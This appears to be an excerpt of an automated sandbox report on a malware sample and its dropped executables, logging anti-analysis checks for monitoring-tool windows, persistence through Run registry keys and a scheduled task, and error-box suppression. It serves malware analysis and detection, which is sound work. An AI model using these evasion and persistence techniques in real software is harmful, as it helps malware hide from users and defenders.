Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e62942d11f.exe

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\axplong.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b02ca6c530.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b02ca6c530.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 59d7339838.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 59d7339838.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e62942d11f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e62942d11f.exe

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001508001\b02ca6c530.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\K73CAIXQZ7ROMEX8OQ5J7.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\WBQBXT7R0KIHGBUKORZPTVE39I.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001509001\59d7339838.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001698001\5708637e68.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001735001\e62942d11f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1001776101\7c247f0fb6.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\BDDBC4BP671F32YA9Q.exe	Process information set: NOOPENFILEERRORBOX
